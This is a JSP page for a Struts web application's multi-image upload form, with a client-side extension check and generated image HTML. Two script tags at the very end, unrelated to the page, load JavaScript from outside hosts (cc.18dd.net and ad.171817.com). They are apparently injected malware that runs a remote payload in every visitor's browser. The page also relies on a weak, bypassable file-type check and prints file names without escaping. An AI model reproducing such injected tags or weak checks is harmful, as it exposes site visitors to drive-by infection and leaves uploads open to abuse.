<%@page contentType="text/html;charset=UTF-8"%>
<%request.setCharacterEncoding("UTF-8");%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>
<%@ page import="java.util.Set"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.upload.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUploadImgToImportFile" class="com.dcivision.form.web.MaintUploadImgToImportFileForm" scope="request"/>

<script language="javascript">
<!--
function OpCustSave(){
	var error=false;
    for (var i=1; i<=3; i++) {
		if(!CheckFileType(document.maintUploadImgToImportFile.elements['uploadFile'+i].value)){
        return (false);
		}
		document.maintUploadImgToImportFile.elements['fileName'+i].value = document.maintUploadImgToImportFile.elements['uploadFile'+i].value;
    }
    return OpSave();
}
    
//gaby.add for check the uploadFile type
function CheckFileType(filePath){
  
	var i =  filePath.lastIndexOf('.');
    var len = filePath.length;
    var str = filePath.substring(len,i+1);
    var exName = "JPG,GIF,PNF,BMP";
    var k = exName.indexOf(str.toUpperCase());
        if(k==-1)  
            {     
                alert("<bean:message key="errors.form_invalid_picture_format"/>");   
                return (false);   
            }   
			return (true);         
}
    
//-->
</script>
<html:form action="form/MaintUploadImgToImportFile" enctype="multipart/form-data" styleClass="form-style-2">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>
<layout:popupTitle titleKey ="form.lable.upload_images"/>
<div class="tabContent" style="height:530px;">
<table width="100%">
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" common="true" width="1" height="10"/></td>
  </tr>
  <tr>
    <td class="sectionTitle" style="padding-left:50px;" nowrap><bean:message key='form.label.multiple.image.upload'/>:</td>
    <td align="right">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3" style="padding-left:50px;">
      <div class="sectionLine">&nbsp;</div>
    </td>
  </tr>
  <tr>
    <td>
      <table width="100%" bgcolor="#FFFFFF" cellpadding="3" cellspacing="1" border="0" align="left">
      <input type="hidden" name="fileCount" value="3">
      <%
      String  path=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);
      HashMap nameMap = (HashMap)request.getAttribute("nameMap");        
      %>
      <% for (int i=1; i<=3; i++) { 
           String trueFileName ="";
      %>
        <tr>
          <td class="formLabelSmall"><bean:message key="form.label.image"/>:&nbsp;</td>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintUploadImgToImportFile.getNavMode())){%>
             <td><html:file property='<%="uploadFile"+i%>' size='45' onkeydown="javascript:return   false;"/><html:hidden property='<%="fileName"+i%>'/></td>
         <%}else{%>
          <td>
          <%       
              String sDisplayFileName = "";               
              if (!Utility.isEmpty(nameMap)){
                Set keySet = nameMap.keySet();
                Iterator iterator = keySet.iterator();           
                while (iterator.hasNext()) {
                  String tmpName = (String)iterator.next(); 
                  if (tmpName.equals("fileName"+i)){
                     String[] tmpArr = TextUtility.splitString((String)nameMap.get(tmpName),"|");
                     sDisplayFileName = tmpArr[1];
                     trueFileName = "<img src=../form/ShowFormImageServlet/" + tmpArr[0] + ">";  
                  }
                }  
              }
              out.println(sDisplayFileName);                 
         %>
          </td>             
          <tr>
           <td class="formLabelSmall"><bean:message key="form.label.generated.html.code"/>:&nbsp; </td>
           <td>         
            <textarea name="trueFileName" cols="50" rows='4' readonly="readonly"><%=trueFileName%></textarea>
           </td>
          </tr>
       <%}%>  
       
        </tr>
      <% } %>
        <tr>
          <td colspan="2"><html:img src='Spacer.gif'  height='5'/></td>
        </tr>  
        <%if (GlobalConstant.NAV_MODE_VIEW.equals(maintUploadImgToImportFile.getNavMode())){%>
        <tr>
           <td class="formLabelSmall"><bean:message key="form.label.put.the.generated.html.code.into.corresponding.place"/></td>
          </tr>
        <%}%>    
        <tr>
          <td colspan="2"><html:img src='Spacer.gif'  height='5'/></td>
        </tr>     
        <tr>
          <td colspan="2"></td>
        </tr>
        
        
        
      </table>
    </td>
  </tr>
</table>
</div>
<div id="bottomButtonArea">
  <div id="buttonSection">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintUploadImgToImportFile.getNavMode())){%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
    <%}%>
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
  </div>
</div>
</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>